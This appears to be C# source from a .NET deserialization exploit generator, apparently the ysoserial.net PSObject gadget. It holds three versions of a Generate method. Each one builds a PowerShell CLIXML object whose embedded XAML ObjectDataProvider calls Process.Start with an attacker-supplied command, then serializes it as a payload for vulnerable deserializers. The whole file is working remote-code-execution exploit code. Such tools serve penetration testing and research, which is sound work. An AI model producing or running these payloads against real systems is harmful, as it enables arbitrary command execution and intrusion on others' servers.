public override object Generate(string cmd, string formatter, Boolean test) { string clixml = @" <Objs Version=""1.1.0.1"" xmlns=""http://schemas.microsoft.com/powershell/2004/04"">
 <Obj RefId=""0"">
 <TN RefId=""0"">
 <T>Microsoft.Management.Infrastructure.CimInstance#System.Management.Automation/RunspaceInvoke5</T>
 <T>Microsoft.Management.Infrastructure.CimInstance#RunspaceInvoke5</T>
 <T>Microsoft.Management.Infrastructure.CimInstance</T>
 <T>System.Object</T>
 </TN>
 <ToString>RunspaceInvoke5</ToString>
 <Obj RefId=""1"">
 <TNRef RefId=""0"" />
 <ToString>RunspaceInvoke5</ToString>
 <Props>
 <Nil N=""PSComputerName"" />
 <Obj N=""test1"" RefId =""20"" > 
 <TN RefId=""1"" > 
 <T>System.Windows.Markup.XamlReader[], PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</T>
 <T>System.Array</T>
 <T>System.Object</T>
 </TN>
 <LST>
 <S N=""Hash"" > <ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system""> <ObjectDataProvider x:Key=""LaunchCalc"" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" > <ObjectDataProvider.MethodParameters> <System:String>cmd</System:String> <System:String>/c """ + cmd + @""" </System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary> </S>
 </LST>
 </Obj>
 </Props>
 <MS>
 <Obj N=""__ClassMetadata"" RefId =""2""> 
 <TN RefId=""1"" > 
 <T>System.Collections.ArrayList</T>
 <T>System.Object</T>
 </TN>
 <LST>
 <Obj RefId=""3""> 
 <MS>
 <S N=""ClassName"">RunspaceInvoke5</S>
 <S N=""Namespace"">System.Management.Automation</S>
 <Nil N=""ServerName"" />
 <I32 N=""Hash"">460929192</I32>
 <S N=""MiXml""> <CLASS NAME=""RunspaceInvoke5"" ><PROPERTY NAME=""test1"" TYPE =""string"" ></PROPERTY></CLASS></S>
 </MS>
 </Obj>
 </LST>
 </Obj>
 </MS>
 </Obj>
 <MS>
 <Ref N=""__ClassMetadata"" RefId =""2"" />
 </MS>
 </Obj>
 </Objs>"; PsObjectMarshal payload = new PsObjectMarshal(clixml); return(Serialize(payload, formatter, test)); }
public override object Generate(string formatter, InputArgs inputArgs) { Assembly asm = Assembly.LoadFile(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location) + @"\dlls\System.Management.Automation.dll"); inputArgs.CmdType = CommandArgSplitter.CommandType.XML; String cmdPart; if (inputArgs.HasArguments) { cmdPart = $@"<System:String>" + inputArgs.CmdFileName + @"</System:String> <System:String>""" + inputArgs.CmdArguments + @""" </System:String>"; } else { cmdPart = $@"<System:String>" + inputArgs.CmdFileName + @"</System:String>"; } string clixml = @" <Objs Version=""1.1.0.1"" xmlns=""http://schemas.microsoft.com/powershell/2004/04"">
 <Obj RefId=""0"">
 <TN RefId=""0"">
 <T>Microsoft.Management.Infrastructure.CimInstance#System.Management.Automation/RunspaceInvoke5</T>
 <T>Microsoft.Management.Infrastructure.CimInstance#RunspaceInvoke5</T>
 <T>Microsoft.Management.Infrastructure.CimInstance</T>
 <T>System.Object</T>
 </TN>
 <ToString>RunspaceInvoke5</ToString>
 <Obj RefId=""1"">
 <TNRef RefId=""0"" />
 <ToString>RunspaceInvoke5</ToString>
 <Props>
 <Nil N=""PSComputerName"" />
 <Obj N=""test1"" RefId =""20"" > 
 <TN RefId=""1"" > 
 <T>System.Windows.Markup.XamlReader[], PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</T>
 <T>System.Array</T>
 <T>System.Object</T>
 </TN>
 <LST>
 <S N=""Hash"" > <ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system""> <ObjectDataProvider x:Key="""" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" > <ObjectDataProvider.MethodParameters> " + cmdPart + @" </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary> </S>
 </LST>
 </Obj>
 </Props>
 <MS>
 <Obj N=""__ClassMetadata"" RefId =""2""> 
 <TN RefId=""1"" > 
 <T>System.Collections.ArrayList</T>
 <T>System.Object</T>
 </TN>
 <LST>
 <Obj RefId=""3""> 
 <MS>
 <S N=""ClassName"">RunspaceInvoke5</S>
 <S N=""Namespace"">System.Management.Automation</S>
 <Nil N=""ServerName"" />
 <I32 N=""Hash"">460929192</I32>
 <S N=""MiXml""> <CLASS NAME=""RunspaceInvoke5"" ><PROPERTY NAME=""test1"" TYPE =""string"" ></PROPERTY></CLASS></S>
 </MS>
 </Obj>
 </LST>
 </Obj>
 </MS>
 </Obj>
 <MS>
 <Ref N=""__ClassMetadata"" RefId =""2"" />
 </MS>
 </Obj>
 </Objs>"; if (inputArgs.Minify) { // Could not be tested so it may not work here! // also not sure if can use CDATA otherwise we could use the CDATA flag to save more space clixml = XMLMinifier.Minify(clixml, null, null, FormatterType.None, true); } PsObjectMarshal payload = new PsObjectMarshal(clixml); if (inputArgs.Test) { serializationBinder = new LocalBinder(); // to use the vulnerable version when testing flag has been set } return(Serialize(payload, formatter, inputArgs)); }
public override object Generate(string cmd, string formatter, Boolean test, Boolean minify) { Boolean hasArgs; string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.XML, out hasArgs); String cmdPart; if (hasArgs) { cmdPart = $@"<System:String>" + splittedCMD[0] + @"</System:String> <System:String>""" + splittedCMD[1] + @""" </System:String>"; } else { cmdPart = $@"<System:String>" + splittedCMD[0] + @"</System:String>"; } string clixml = @" <Objs Version=""1.1.0.1"" xmlns=""http://schemas.microsoft.com/powershell/2004/04"">
 <Obj RefId=""0"">
 <TN RefId=""0"">
 <T>Microsoft.Management.Infrastructure.CimInstance#System.Management.Automation/RunspaceInvoke5</T>
 <T>Microsoft.Management.Infrastructure.CimInstance#RunspaceInvoke5</T>
 <T>Microsoft.Management.Infrastructure.CimInstance</T>
 <T>System.Object</T>
 </TN>
 <ToString>RunspaceInvoke5</ToString>
 <Obj RefId=""1"">
 <TNRef RefId=""0"" />
 <ToString>RunspaceInvoke5</ToString>
 <Props>
 <Nil N=""PSComputerName"" />
 <Obj N=""test1"" RefId =""20"" > 
 <TN RefId=""1"" > 
 <T>System.Windows.Markup.XamlReader[], PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</T>
 <T>System.Array</T>
 <T>System.Object</T>
 </TN>
 <LST>
 <S N=""Hash"" > <ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system""> <ObjectDataProvider x:Key=""LaunchCalc"" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" > <ObjectDataProvider.MethodParameters> " + cmdPart + @" </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary> </S>
 </LST>
 </Obj>
 </Props>
 <MS>
 <Obj N=""__ClassMetadata"" RefId =""2""> 
 <TN RefId=""1"" > 
 <T>System.Collections.ArrayList</T>
 <T>System.Object</T>
 </TN>
 <LST>
 <Obj RefId=""3""> 
 <MS>
 <S N=""ClassName"">RunspaceInvoke5</S>
 <S N=""Namespace"">System.Management.Automation</S>
 <Nil N=""ServerName"" />
 <I32 N=""Hash"">460929192</I32>
 <S N=""MiXml""> <CLASS NAME=""RunspaceInvoke5"" ><PROPERTY NAME=""test1"" TYPE =""string"" ></PROPERTY></CLASS></S>
 </MS>
 </Obj>
 </LST>
 </Obj>
 </MS>
 </Obj>
 <MS>
 <Ref N=""__ClassMetadata"" RefId =""2"" />
 </MS>
 </Obj>
 </Objs>"; if (minify) { // Could not be tested so it may not work here! // also not sure if can use CDATA otherwise we could use the CDATA flag to save more space clixml = Helpers.XMLMinifier.Minify(clixml, null, null); } PsObjectMarshal payload = new PsObjectMarshal(clixml); return(Serialize(payload, formatter, test, minify)); }